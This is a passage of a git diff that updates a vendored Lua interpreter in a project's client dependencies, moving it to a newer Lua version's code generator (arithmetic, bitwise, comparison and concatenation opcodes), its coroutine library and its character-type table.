*e2, + OpCode op, int v2, int flip, int line, + OpCode mmop, TMS event) { + int v1 = luaK_exp2anyreg(fs, e1); + int pc = luaK_codeABCk(fs, op, 0, v1, v2, 0); + freeexps(fs, e1, e2); + e1->u.info = pc; + e1->k = VRELOC; /* all those operations are relocatable */ + luaK_fixline(fs, line); + luaK_codeABCk(fs, mmop, v1, v2, event, flip); /* to call metamethod */ + luaK_fixline(fs, line); +} + + +/* +** Emit code for binary expressions that "produce values" over +** two registers. +*/ +static void codebinexpval(FuncState *fs, BinOpr opr, + expdesc *e1, expdesc *e2, int line) { + OpCode op = binopr2op(opr, OPR_ADD, OP_ADD); + int v2 = luaK_exp2anyreg(fs, e2); /* make sure 'e2' is in a register */ + /* 'e1' must be already in a register or it is a constant */ + lua_assert((VNIL <= e1->k && e1->k <= VKSTR) || + e1->k == VNONRELOC || e1->k == VRELOC); + lua_assert(OP_ADD <= op && op <= OP_SHR); + finishbinexpval(fs, e1, e2, op, v2, 0, line, OP_MMBIN, binopr2TM(opr)); +} + + +/* +** Code binary operators with immediate operands. +*/ +static void codebini(FuncState *fs, OpCode op, + expdesc *e1, expdesc *e2, int flip, int line, + TMS event) { + int v2 = int2sC(cast_int(e2->u.ival)); /* immediate operand */ + lua_assert(e2->k == VKINT); + finishbinexpval(fs, e1, e2, op, v2, flip, line, OP_MMBINI, event); +} + + +/* +** Code binary operators with K operand. +*/ +static void codebinK(FuncState *fs, BinOpr opr, + expdesc *e1, expdesc *e2, int flip, int line) { + TMS event = binopr2TM(opr); + int v2 = e2->u.info; /* K index */ + OpCode op = binopr2op(opr, OPR_ADD, OP_ADDK); + finishbinexpval(fs, e1, e2, op, v2, flip, line, OP_MMBINK, event); +} + + +/* Try to code a binary operator negating its second operand. +** For the metamethod, 2nd operand must keep its original value. +*/ +static int finishbinexpneg(FuncState *fs, expdesc *e1, expdesc *e2, + OpCode op, int line, TMS event) { + if (!isKint(e2)) + return 0; /* not an integer constant */ else { - int o2 = (op != OP_UNM && op != OP_LEN) ? luaK_exp2RK(fs, e2) : 0; - int o1 = luaK_exp2RK(fs, e1); - if (o1 > o2) { - freeexp(fs, e1); - freeexp(fs, e2); - } else { - freeexp(fs, e2); - freeexp(fs, e1); + lua_Integer i2 = e2->u.ival; + if (!(fitsC(i2) && fitsC(-i2))) + return 0; /* not in the proper range */ + else { /* operating a small integer constant */ + int v2 = cast_int(i2); + finishbinexpval(fs, e1, e2, op, int2sC(-v2), 0, line, OP_MMBINI, event); + /* correct metamethod argument */ + SETARG_B(fs->f->code[fs->pc - 1], int2sC(v2)); + return 1; /* successfully coded */ } - e1->u.info = luaK_codeABC(fs, op, 0, o1, o2); - e1->k = VRELOCABLE; + } +} + + +static void swapexps(expdesc *e1, expdesc *e2) { + expdesc temp = *e1; + *e1 = *e2; + *e2 = temp; /* swap 'e1' and 'e2' */ +} + + +/* +** Code binary operators with no constant operand. +*/ +static void codebinNoK(FuncState *fs, BinOpr opr, + expdesc *e1, expdesc *e2, int flip, int line) { + if (flip) + swapexps(e1, e2); /* back to original order */ + codebinexpval(fs, opr, e1, e2, line); /* use standard operators */ +} + + +/* +** Code arithmetic operators ('+', '-', ...). If second operand is a +** constant in the proper range, use variant opcodes with K operands. +*/ +static void codearith(FuncState *fs, BinOpr opr, + expdesc *e1, expdesc *e2, int flip, int line) { + if (tonumeral(e2, NULL) && luaK_exp2K(fs, e2)) /* K operand? */ + codebinK(fs, opr, e1, e2, flip, line); + else /* 'e2' is neither an immediate nor a K operand */ + codebinNoK(fs, opr, e1, e2, flip, line); +} + + +/* +** Code commutative operators ('+', '*'). If first operand is a +** numeric constant, change order of operands to try to use an +** immediate or K operator. +*/ +static void codecommutative(FuncState *fs, BinOpr op, + expdesc *e1, expdesc *e2, int line) { + int flip = 0; + if (tonumeral(e1, NULL)) { /* is first operand a numeric constant? */ + swapexps(e1, e2); /* change order */ + flip = 1; + } + if (op == OPR_ADD && isSCint(e2)) /* immediate operand? */ + codebini(fs, OP_ADDI, e1, e2, flip, line, TM_ADD); + else + codearith(fs, op, e1, e2, flip, line); +} + + +/* +** Code bitwise operations; they are all commutative, so the function +** tries to put an integer constant as the 2nd operand (a K operand). +*/ +static void codebitwise(FuncState *fs, BinOpr opr, + expdesc *e1, expdesc *e2, int line) { + int flip = 0; + if (e1->k == VKINT) { + swapexps(e1, e2); /* 'e2' will be the constant operand */ + flip = 1; + } + if (e2->k == VKINT && luaK_exp2K(fs, e2)) /* K operand? */ + codebinK(fs, opr, e1, e2, flip, line); + else /* no constants */ + codebinNoK(fs, opr, e1, e2, flip, line); +} + + +/* +** Emit code for order comparisons. When using an immediate operand, +** 'isfloat' tells whether the original value was a float. +*/ +static void codeorder(FuncState *fs, BinOpr opr, expdesc *e1, expdesc *e2) { + int r1, r2; + int im; + int isfloat = 0; + OpCode op; + if (isSCnumber(e2, &im, &isfloat)) { + /* use immediate operand */ + r1 = luaK_exp2anyreg(fs, e1); + r2 = im; + op = binopr2op(opr, OPR_LT, OP_LTI); + } else if (isSCnumber(e1, &im, &isfloat)) { + /* transform (A < B) to (B > A) and (A <= B) to (B >= A) */ + r1 = luaK_exp2anyreg(fs, e2); + r2 = im; + op = binopr2op(opr, OPR_LT, OP_GTI); + } else { /* regular case, compare two registers */ + r1 = luaK_exp2anyreg(fs, e1); + r2 = luaK_exp2anyreg(fs, e2); + op = binopr2op(opr, OPR_LT, OP_LT); + } + freeexps(fs, e1, e2); + e1->u.info = condjump(fs, op, r1, r2, isfloat, 1); + e1->k = VJMP; +} + + +/* +** Emit code for equality comparisons ('==', '~='). +** 'e1' was already put as RK by 'luaK_infix'. +*/ +static void codeeq(FuncState *fs, BinOpr opr, expdesc *e1, expdesc *e2) { + int r1, r2; + int im; + int isfloat = 0; /* not needed here, but kept for symmetry */ + OpCode op; + if (e1->k != VNONRELOC) { + lua_assert(e1->k == VK || e1->k == VKINT || e1->k == VKFLT); + swapexps(e1, e2); + } + r1 = luaK_exp2anyreg(fs, e1); /* 1st expression must be in register */ + if (isSCnumber(e2, &im, &isfloat)) { + op = OP_EQI; + r2 = im; /* immediate operand */ + } else if (exp2RK(fs, e2)) { /* 2nd expression is constant? */ + op = OP_EQK; + r2 = e2->u.info; /* constant index */ + } else { + op = OP_EQ; /* will compare two registers */ + r2 = luaK_exp2anyreg(fs, e2); + } + freeexps(fs, e1, e2); + e1->u.info = condjump(fs, op, r1, r2, isfloat, (opr == OPR_EQ)); + e1->k = VJMP; +} + + +/* +** Apply prefix operation 'op' to expression 'e'. +*/ +void luaK_prefix(FuncState *fs, UnOpr opr, expdesc *e, int line) { + static const expdesc ef = {VKINT, {0}, NO_JUMP, NO_JUMP}; + luaK_dischargevars(fs, e); + switch (opr) { + case OPR_MINUS: + case OPR_BNOT: /* use 'ef' as fake 2nd operand */ + if (constfolding(fs, opr + LUA_OPUNM, e, &ef)) + break; + /* else */ /* FALLTHROUGH */ + case OPR_LEN: + codeunexpval(fs, unopr2op(opr), e, line); + break; + case OPR_NOT: + codenot(fs, e); + break; + default: + lua_assert(0); + } +} + + +/* +** Process 1st operand 'v' of binary operation 'op' before reading +** 2nd operand. +*/ +void luaK_infix(FuncState *fs, BinOpr op, expdesc *v) { + luaK_dischargevars(fs, v); + switch (op) { + case OPR_AND: { + luaK_goiftrue(fs, v); /* go ahead only if 'v' is true */ + break; + } + case OPR_OR: { + luaK_goiffalse(fs, v); /* go ahead only if 'v' is false */ + break; + } + case OPR_CONCAT: { + luaK_exp2nextreg(fs, v); /* operand must be on the stack */ + break; + } + case OPR_ADD: + case OPR_SUB: + case OPR_MUL: + case OPR_DIV: + case OPR_IDIV: + case OPR_MOD: + case OPR_POW: + case OPR_BAND: + case OPR_BOR: + case OPR_BXOR: + case OPR_SHL: + case OPR_SHR: { + if (!tonumeral(v, NULL)) + luaK_exp2anyreg(fs, v); + /* else keep numeral, which may be folded or used as an immediate + operand */ + break; + } + case OPR_EQ: + case OPR_NE: { + if (!tonumeral(v, NULL)) + exp2RK(fs, v); + /* else keep numeral, which may be an immediate operand */ + break; + } + case OPR_LT: + case OPR_LE: + case OPR_GT: + case OPR_GE: { + int dummy, dummy2; + if (!isSCnumber(v, &dummy, &dummy2)) + luaK_exp2anyreg(fs, v); + /* else keep numeral, which may be an immediate operand */ + break; + } + default: + lua_assert(0); + } +} + +/* +** Create code for '(e1 .. e2)'. +** For '(e1 .. e2.1 .. e2.2)' (which is '(e1 .. (e2.1 .. e2.2))', +** because concatenation is right associative), merge both CONCATs. +*/ +static void codeconcat(FuncState *fs, expdesc *e1, expdesc *e2, int line) { + Instruction *ie2 = previousinstruction(fs); + if (GET_OPCODE(*ie2) == OP_CONCAT) { /* is 'e2' a concatenation? */ + int n = GETARG_B(*ie2); /* # of elements concatenated in 'e2' */ + lua_assert(e1->u.info + 1 == GETARG_A(*ie2)); + freeexp(fs, e2); + SETARG_A(*ie2, e1->u.info); /* correct first element ('e1') */ + SETARG_B(*ie2, n + 1); /* will concatenate one more element */ + } else { /* 'e2' is not a concatenation */ + luaK_codeABC(fs, OP_CONCAT, e1->u.info, 2, 0); /* new concat opcode */ + freeexp(fs, e2); luaK_fixline(fs, line); } } -static void codecomp(FuncState *fs, OpCode op, int cond, expdesc *e1, - expdesc *e2) { - int o1 = luaK_exp2RK(fs, e1); - int o2 = luaK_exp2RK(fs, e2); - freeexp(fs, e2); - freeexp(fs, e1); - if (cond == 0 && op != OP_EQ) { - int temp; /* exchange args to replace by `<' or `<=' */ - temp = o1; - o1 = o2; - o2 = temp; /* o1 <==> o2 */ - cond = 1; - } - e1->u.info = condjump(fs, op, cond, o1, o2); - e1->k = VJMP; -} - - -void luaK_prefix(FuncState *fs, UnOpr op, expdesc *e, int line) { - expdesc e2; - e2.t = e2.f = NO_JUMP; - e2.k = VKNUM; - e2.u.nval = 0; - switch (op) { - case OPR_MINUS: { - if (isnumeral(e)) /* minus constant? */ - e->u.nval = luai_numunm(NULL, e->u.nval); /* fold it */ - else { - luaK_exp2anyreg(fs, e); - codearith(fs, OP_UNM, e, &e2, line); - } - break; - } - case OPR_NOT: - codenot(fs, e); - break; - case OPR_LEN: { - luaK_exp2anyreg(fs, e); /* cannot operate on constants */ - codearith(fs, OP_LEN, e, &e2, line); - break; - } - default: - lua_assert(0); - } -} - - -void luaK_infix(FuncState *fs, BinOpr op, expdesc *v) { - switch (op) { - case OPR_AND: { - luaK_goiftrue(fs, v); - break; - } - case OPR_OR: { - luaK_goiffalse(fs, v); - break; - } - case OPR_CONCAT: { - luaK_exp2nextreg(fs, v); /* operand must be on the `stack' */ - break; - } - case OPR_ADD: - case OPR_SUB: - case OPR_MUL: - case OPR_DIV: - case OPR_MOD: - case OPR_POW: { - if (!isnumeral(v)) luaK_exp2RK(fs, v); - break; - } - default: { - luaK_exp2RK(fs, v); - break; - } - } -} - - -void luaK_posfix(FuncState *fs, BinOpr op, +/* +** Finalize code for binary operation, after reading 2nd operand. +*/ +void luaK_posfix(FuncState *fs, BinOpr opr, expdesc *e1, expdesc *e2, int line) { - switch (op) { + luaK_dischargevars(fs, e2); + if (foldbinop(opr) && constfolding(fs, opr + LUA_OPADD, e1, e2)) + return; /* done by folding */ + switch (opr) { case OPR_AND: { - lua_assert(e1->t == NO_JUMP); /* list must be closed */ - luaK_dischargevars(fs, e2); + lua_assert(e1->t == NO_JUMP); /* list closed by 'luaK_infix' */ luaK_concat(fs, &e2->f, e1->f); *e1 = *e2; break; } case OPR_OR: { - lua_assert(e1->f == NO_JUMP); /* list must be closed */ - luaK_dischargevars(fs, e2); + lua_assert(e1->f == NO_JUMP); /* list closed by 'luaK_infix' */ luaK_concat(fs, &e2->t, e1->t); *e1 = *e2; break; } - case OPR_CONCAT: { - luaK_exp2val(fs, e2); - if (e2->k == VRELOCABLE && GET_OPCODE(getcode(fs, e2)) == OP_CONCAT) { - lua_assert(e1->u.info == GETARG_B(getcode(fs, e2)) - 1); - freeexp(fs, e1); - SETARG_B(getcode(fs, e2), e1->u.info); - e1->k = VRELOCABLE; - e1->u.info = e2->u.info; - } else { - luaK_exp2nextreg(fs, e2); /* operand must be on the 'stack' */ - codearith(fs, OP_CONCAT, e1, e2, line); - } + case OPR_CONCAT: { /* e1 .. e2 */ + luaK_exp2nextreg(fs, e2); + codeconcat(fs, e1, e2, line); break; } case OPR_ADD: - case OPR_SUB: - case OPR_MUL: + case OPR_MUL: { + codecommutative(fs, opr, e1, e2, line); + break; + } + case OPR_SUB: { + if (finishbinexpneg(fs, e1, e2, OP_ADDI, line, TM_SUB)) + break; /* coded as (r1 + -I) */ + /* ELSE */ + } /* FALLTHROUGH */ case OPR_DIV: + case OPR_IDIV: case OPR_MOD: case OPR_POW: { - codearith(fs, cast(OpCode, op - OPR_ADD + OP_ADD), e1, e2, line); + codearith(fs, opr, e1, e2, 0, line); + break; + } + case OPR_BAND: + case OPR_BOR: + case OPR_BXOR: { + codebitwise(fs, opr, e1, e2, line); + break; + } + case OPR_SHL: { + if (isSCint(e1)) { + swapexps(e1, e2); + codebini(fs, OP_SHLI, e1, e2, 1, line, TM_SHL); /* I << r2 */ + } else if (finishbinexpneg(fs, e1, e2, OP_SHRI, line, TM_SHL)) { + /* coded as (r1 >> -I) */; + } else /* regular case (two registers) */ + codebinexpval(fs, opr, e1, e2, line); + break; + } + case OPR_SHR: { + if (isSCint(e2)) + codebini(fs, OP_SHRI, e1, e2, 0, line, TM_SHR); /* r1 >> I */ + else /* regular case (two registers) */ + codebinexpval(fs, opr, e1, e2, line); break; } case OPR_EQ: - case OPR_LT: - case OPR_LE: { - codecomp(fs, cast(OpCode, op - OPR_EQ + OP_EQ), 1, e1, e2); + case OPR_NE: { + codeeq(fs, opr, e1, e2); break; } - case OPR_NE: case OPR_GT: case OPR_GE: { - codecomp(fs, cast(OpCode, op - OPR_NE + OP_EQ), 0, e1, e2); + /* '(a > b)' <=> '(b < a)'; '(a >= b)' <=> '(b <= a)' */ + swapexps(e1, e2); + opr = cast(BinOpr, (opr - OPR_GT) + OPR_LT); + } /* FALLTHROUGH */ + case OPR_LT: + case OPR_LE: { + codeorder(fs, opr, e1, e2); break; } default: @@ -883,22 +1840,99 @@ void luaK_posfix(FuncState *fs, BinOpr op, } +/* +** Change line information associated with current position, by removing +** previous info and adding it again with new line. +*/ void luaK_fixline(FuncState *fs, int line) { - fs->f->lineinfo[fs->pc - 1] = line; + removelastlineinfo(fs); + savelineinfo(fs, fs->f, line); } +void luaK_settablesize(FuncState *fs, int pc, int ra, int asize, int hsize) { + Instruction *inst = &fs->f->code[pc]; + int rb = (hsize != 0) ? luaO_ceillog2(hsize) + 1 : 0; /* hash size */ + int extra = asize / (MAXARG_C + 1); /* higher bits of array size */ + int rc = asize % (MAXARG_C + 1); /* lower bits of array size */ + int k = (extra > 0); /* true iff needs extra argument */ + *inst = CREATE_ABCk(OP_NEWTABLE, ra, rb, rc, k); + *(inst + 1) = CREATE_Ax(OP_EXTRAARG, extra); +} + + +/* +** Emit a SETLIST instruction. +** 'base' is register that keeps table; +** 'nelems' is #table plus those to be stored now; +** 'tostore' is number of values (in registers 'base + 1',...) to add to +** table (or LUA_MULTRET to add up to stack top). +*/ void luaK_setlist(FuncState *fs, int base, int nelems, int tostore) { - int c = (nelems - 1) / LFIELDS_PER_FLUSH + 1; - int b = (tostore == LUA_MULTRET) ? 0 : tostore; - lua_assert(tostore != 0); - if (c <= MAXARG_C) - luaK_codeABC(fs, OP_SETLIST, base, b, c); - else if (c <= MAXARG_Ax) { - luaK_codeABC(fs, OP_SETLIST, base, b, 0); - codeextraarg(fs, c); - } else - luaX_syntaxerror(fs->ls, "constructor too long"); + lua_assert(tostore != 0 && tostore <= LFIELDS_PER_FLUSH); + if (tostore == LUA_MULTRET) + tostore = 0; + if (nelems <= MAXARG_C) + luaK_codeABC(fs, OP_SETLIST, base, tostore, nelems); + else { + int extra = nelems / (MAXARG_C + 1); + nelems %= (MAXARG_C + 1); + luaK_codeABCk(fs, OP_SETLIST, base, tostore, nelems, 1); + codeextraarg(fs, extra); + } fs->freereg = base + 1; /* free registers with list values */ } + +/* +** return the final target of a jump (skipping jumps to jumps) +*/ +static int finaltarget(Instruction *code, int i) { + int count; + for (count = 0; count < 100; count++) { /* avoid infinite loops */ + Instruction pc = code[i]; + if (GET_OPCODE(pc) != OP_JMP) + break; + else + i += GETARG_sJ(pc) + 1; + } + return i; +} + + +/* +** Do a final pass over the code of a function, doing small peephole +** optimizations and adjustments. +*/ +void luaK_finish(FuncState *fs) { + int i; + Proto *p = fs->f; + for (i = 0; i < fs->pc; i++) { + Instruction *pc = &p->code[i]; + lua_assert(i == 0 || isOT(*(pc - 1)) == isIT(*pc)); + switch (GET_OPCODE(*pc)) { + case OP_RETURN0: + case OP_RETURN1: { + if (!(fs->needclose || p->is_vararg)) + break; /* no extra work */ + /* else use OP_RETURN to do the extra work */ + SET_OPCODE(*pc, OP_RETURN); + } /* FALLTHROUGH */ + case OP_RETURN: + case OP_TAILCALL: { + if (fs->needclose) + SETARG_k(*pc, 1); /* signal that it needs to close */ + if (p->is_vararg) + SETARG_C(*pc, p->numparams + 1); /* signal that it is vararg */ + break; + } + case OP_JMP: { + int target = finaltarget(p->code, i); + fixjump(fs, i, target); + break; + } + default: + break; + } + } +} diff --git a/client/deps/liblua/lcode.h b/client/deps/liblua/lcode.h index e40c63abc..9ccba6913 100644 --- a/client/deps/liblua/lcode.h +++ b/client/deps/liblua/lcode.h @@ -1,5 +1,5 @@ /* -** $Id: lcode.h,v 1.58 2011/08/30 16:26:41 roberto Exp $ +** $Id: lcode.h $ ** Code generator for Lua ** See Copyright Notice in lua.h */ @@ -24,41 +24,56 @@ ** grep "ORDER OPR" if you change these enums (ORDER OP) */ typedef enum BinOpr { - OPR_ADD, OPR_SUB, OPR_MUL, OPR_DIV, OPR_MOD, OPR_POW, + /* arithmetic operators */ + OPR_ADD, OPR_SUB, OPR_MUL, OPR_MOD, OPR_POW, + OPR_DIV, OPR_IDIV, + /* bitwise operators */ + OPR_BAND, OPR_BOR, OPR_BXOR, + OPR_SHL, OPR_SHR, + /* string operator */ OPR_CONCAT, + /* comparison operators */ OPR_EQ, OPR_LT, OPR_LE, OPR_NE, OPR_GT, OPR_GE, + /* logical operators */ OPR_AND, OPR_OR, OPR_NOBINOPR } BinOpr; -typedef enum UnOpr { OPR_MINUS, OPR_NOT, OPR_LEN, OPR_NOUNOPR } UnOpr; +/* true if operation is foldable (that is, it is arithmetic or bitwise) */ +#define foldbinop(op) ((op) <= OPR_SHR) -#define getcode(fs,e) ((fs)->f->code[(e)->u.info]) +#define luaK_codeABC(fs,o,a,b,c) luaK_codeABCk(fs,o,a,b,c,0) -#define luaK_codeAsBx(fs,o,A,sBx) luaK_codeABx(fs,o,A,(sBx)+MAXARG_sBx) -#define luaK_setmultret(fs,e) luaK_setreturns(fs, e, LUA_MULTRET) +typedef enum UnOpr { OPR_MINUS, OPR_BNOT, OPR_NOT, OPR_LEN, OPR_NOUNOPR } UnOpr; -#define luaK_jumpto(fs,t) luaK_patchlist(fs, luaK_jump(fs), t) +/* get (pointer to) instruction of given 'expdesc' */ +#define getinstruction(fs,e) ((fs)->f->code[(e)->u.info]) + + +#define luaK_setmultret(fs,e) luaK_setreturns(fs, e, LUA_MULTRET) + +#define luaK_jumpto(fs,t) luaK_patchlist(fs, luaK_jump(fs), t) + +LUAI_FUNC int luaK_code(FuncState *fs, Instruction i); LUAI_FUNC int luaK_codeABx(FuncState *fs, OpCode o, int A, unsigned int Bx); -LUAI_FUNC int luaK_codeABC(FuncState *fs, OpCode o, int A, int B, int C); -LUAI_FUNC int luaK_codek(FuncState *fs, int reg, int k); +LUAI_FUNC int luaK_codeABCk(FuncState *fs, OpCode o, int A, + int B, int C, int k); +LUAI_FUNC int luaK_exp2const(FuncState *fs, const expdesc *e, TValue *v); LUAI_FUNC void luaK_fixline(FuncState *fs, int line); LUAI_FUNC void luaK_nil(FuncState *fs, int from, int n); LUAI_FUNC void luaK_reserveregs(FuncState *fs, int n); LUAI_FUNC void luaK_checkstack(FuncState *fs, int n); -LUAI_FUNC int luaK_stringK(FuncState *fs, TString *s); -LUAI_FUNC int luaK_numberK(FuncState *fs, lua_Number r); +LUAI_FUNC void luaK_int(FuncState *fs, int reg, lua_Integer n); LUAI_FUNC void luaK_dischargevars(FuncState *fs, expdesc *e); LUAI_FUNC int luaK_exp2anyreg(FuncState *fs, expdesc *e); LUAI_FUNC void luaK_exp2anyregup(FuncState *fs, expdesc *e); LUAI_FUNC void luaK_exp2nextreg(FuncState *fs, expdesc *e); LUAI_FUNC void luaK_exp2val(FuncState *fs, expdesc *e); -LUAI_FUNC int luaK_exp2RK(FuncState *fs, expdesc *e); LUAI_FUNC void luaK_self(FuncState *fs, expdesc *e, expdesc *key); LUAI_FUNC void luaK_indexed(FuncState *fs, expdesc *t, expdesc *k); LUAI_FUNC void luaK_goiftrue(FuncState *fs, expdesc *e); @@ -70,14 +85,17 @@ LUAI_FUNC int luaK_jump(FuncState *fs); LUAI_FUNC void luaK_ret(FuncState *fs, int first, int nret); LUAI_FUNC void luaK_patchlist(FuncState *fs, int list, int target); LUAI_FUNC void luaK_patchtohere(FuncState *fs, int list); -LUAI_FUNC void luaK_patchclose(FuncState *fs, int list, int level); LUAI_FUNC void luaK_concat(FuncState *fs, int *l1, int l2); LUAI_FUNC int luaK_getlabel(FuncState *fs); LUAI_FUNC void luaK_prefix(FuncState *fs, UnOpr op, expdesc *v, int line); LUAI_FUNC void luaK_infix(FuncState *fs, BinOpr op, expdesc *v); LUAI_FUNC void luaK_posfix(FuncState *fs, BinOpr op, expdesc *v1, expdesc *v2, int line); +LUAI_FUNC void luaK_settablesize(FuncState *fs, int pc, + int ra, int asize, int hsize); LUAI_FUNC void luaK_setlist(FuncState *fs, int base, int nelems, int tostore); +LUAI_FUNC void luaK_finish(FuncState *fs); +LUAI_FUNC l_noret luaK_semerror(LexState *ls, const char *msg); #endif diff --git a/client/deps/liblua/lcorolib.c b/client/deps/liblua/lcorolib.c index ed065bb2d..2aedcaea5 100644 --- a/client/deps/liblua/lcorolib.c +++ b/client/deps/liblua/lcorolib.c @@ -1,37 +1,44 @@ /* -** $Id: lcorolib.c,v 1.5 2013/02/21 13:44:53 roberto Exp $ +** $Id: lcorolib.c $ ** Coroutine Library ** See Copyright Notice in lua.h */ - -#include - - #define lcorolib_c #define LUA_LIB +#include "lprefix.h" + + +#include + #include "lua.h" #include "lauxlib.h" #include "lualib.h" +static lua_State *getco(lua_State *L) { + lua_State *co = lua_tothread(L, 1); + luaL_argexpected(L, co, 1, "thread"); + return co; +} + + +/* +** Resumes a coroutine. Returns the number of results for non-error +** cases or -1 for errors. +*/ static int auxresume(lua_State *L, lua_State *co, int narg) { - int status; - if (!lua_checkstack(co, narg)) { + int status, nres; + if (l_unlikely(!lua_checkstack(co, narg))) { lua_pushliteral(L, "too many arguments to resume"); return -1; /* error flag */ } - if (lua_status(co) == LUA_OK && lua_gettop(co) == 0) { - lua_pushliteral(L, "cannot resume dead coroutine"); - return -1; /* error flag */ - } lua_xmove(L, co, narg); - status = lua_resume(co, L, narg); - if (status == LUA_OK || status == LUA_YIELD) { - int nres = lua_gettop(co); - if (!lua_checkstack(L, nres + 1)) { + status = lua_resume(co, L, narg, &nres); + if (l_likely(status == LUA_OK || status == LUA_YIELD)) { + if (l_unlikely(!lua_checkstack(L, nres + 1))) { lua_pop(co, nres); /* remove results anyway */ lua_pushliteral(L, "too many results to resume"); return -1; /* error flag */ @@ -46,18 +53,17 @@ static int auxresume(lua_State *L, lua_State *co, int narg) { static int luaB_coresume(lua_State *L) { - lua_State *co = lua_tothread(L, 1); + lua_State *co = getco(L); int r; - luaL_argcheck(L, co, 1, "coroutine expected"); r = auxresume(L, co, lua_gettop(L) - 1); - if (r < 0) { + if (l_unlikely(r < 0)) { lua_pushboolean(L, 0); lua_insert(L, -2); return 2; /* return false + error message */ } else { lua_pushboolean(L, 1); lua_insert(L, -(r + 1)); - return r + 1; /* return true + `resume' returns */ + return r + 1; /* return true + 'resume' returns */ } } @@ -65,9 +71,16 @@ static int luaB_coresume(lua_State *L) { static int luaB_auxwrap(lua_State *L) { lua_State *co = lua_tothread(L, lua_upvalueindex(1)); int r = auxresume(L, co, lua_gettop(L)); - if (r < 0) { - if (lua_isstring(L, -1)) { /* error object is a string? */ - luaL_where(L, 1); /* add extra info */ + if (l_unlikely(r < 0)) { /* error? */ + int stat = lua_status(co); + if (stat != LUA_OK && stat != LUA_YIELD) { /* error in the coroutine? */ + stat = lua_closethread(co, L); /* close its tbc variables */ + lua_assert(stat != LUA_OK); + lua_xmove(co, L, 1); /* move error message to the caller */ + } + if (stat != LUA_ERRMEM && /* not a memory error and ... */ + lua_type(L, -1) == LUA_TSTRING) { /* ... error object is a string? */ + luaL_where(L, 1); /* add extra info, if available */ lua_insert(L, -2); lua_concat(L, 2); } @@ -99,30 +112,48 @@ static int luaB_yield(lua_State *L) { } -static int luaB_costatus(lua_State *L) { - lua_State *co = lua_tothread(L, 1); - luaL_argcheck(L, co, 1, "coroutine expected"); - if (L == co) lua_pushliteral(L, "running"); +#define COS_RUN 0 +#define COS_DEAD 1 +#define COS_YIELD 2 +#define COS_NORM 3 + + +static const char *const statname[] = +{"running", "dead", "suspended", "normal"}; + + +static int auxstatus(lua_State *L, lua_State *co) { + if (L == co) return COS_RUN; else { switch (lua_status(co)) { case LUA_YIELD: - lua_pushliteral(L, "suspended"); - break; + return COS_YIELD; case LUA_OK: { lua_Debug ar; - if (lua_getstack(co, 0, &ar) > 0) /* does it have frames? */ - lua_pushliteral(L, "normal"); /* it is running */ + if (lua_getstack(co, 0, &ar)) /* does it have frames? */ + return COS_NORM; /* it is running */ else if (lua_gettop(co) == 0) - lua_pushliteral(L, "dead"); + return COS_DEAD; else - lua_pushliteral(L, "suspended"); /* initial state */ - break; + return COS_YIELD; /* initial state */ } default: /* some error occurred */ - lua_pushliteral(L, "dead"); - break; + return COS_DEAD; } } +} + + +static int luaB_costatus(lua_State *L) { + lua_State *co = getco(L); + lua_pushstring(L, statname[auxstatus(L, co)]); + return 1; +} + + +static int luaB_yieldable(lua_State *L) { + lua_State *co = lua_isnone(L, 1) ? L : getco(L); + lua_pushboolean(L, lua_isyieldable(co)); return 1; } @@ -134,6 +165,28 @@ static int luaB_corunning(lua_State *L) { } +static int luaB_close(lua_State *L) { + lua_State *co = getco(L); + int status = auxstatus(L, co); + switch (status) { + case COS_DEAD: + case COS_YIELD: { + status = lua_closethread(co, L); + if (status == LUA_OK) { + lua_pushboolean(L, 1); + return 1; + } else { + lua_pushboolean(L, 0); + lua_xmove(co, L, 1); /* move error message */ + return 2; + } + } + default: /* normal or running coroutine */ + return luaL_error(L, "cannot close a %s coroutine", statname[status]); + } +} + + static const luaL_Reg co_funcs[] = { {"create", luaB_cocreate}, {"resume", luaB_coresume}, @@ -141,6 +194,8 @@ static const luaL_Reg co_funcs[] = { {"status", luaB_costatus}, {"wrap", luaB_cowrap}, {"yield", luaB_yield}, + {"isyieldable", luaB_yieldable}, + {"close", luaB_close}, {NULL, NULL} }; diff --git a/client/deps/liblua/lctype.c b/client/deps/liblua/lctype.c index df2c3ede3..79d95a2dd 100644 --- a/client/deps/liblua/lctype.c +++ b/client/deps/liblua/lctype.c @@ -1,5 +1,5 @@ /* -** $Id: lctype.c,v 1.11 2011/10/03 16:19:23 roberto Exp $ +** $Id: lctype.c $ ** 'ctype' functions for Lua ** See Copyright Notice in lua.h */ @@ -7,46 +7,58 @@ #define lctype_c #define LUA_CORE +#include "lprefix.h" + + #include "lctype.h" -#if !LUA_USE_CTYPE /* { */ +#if !LUA_USE_CTYPE /* { */ #include + +#if defined (LUA_UCID) /* accept UniCode IDentifiers? */ +/* consider all non-ascii codepoints to be alphabetic */ +#define NONA 0x01 +#else +#define NONA 0x00 /* default */ +#endif + + LUAI_DDEF const lu_byte luai_ctype_[UCHAR_MAX + 2] = { 0x00, /* EOZ */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 0. */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 0. */ 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 1. */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 1. */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0c, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, /* 2. */ + 0x0c, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, /* 2. */ 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, - 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, /* 3. */ + 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, /* 3. */ 0x16, 0x16, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, - 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 4. */ + 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 4. */ 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, - 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 5. */ + 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 5. */ 0x05, 0x05, 0x05, 0x04, 0x04, 0x04, 0x04, 0x05, - 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 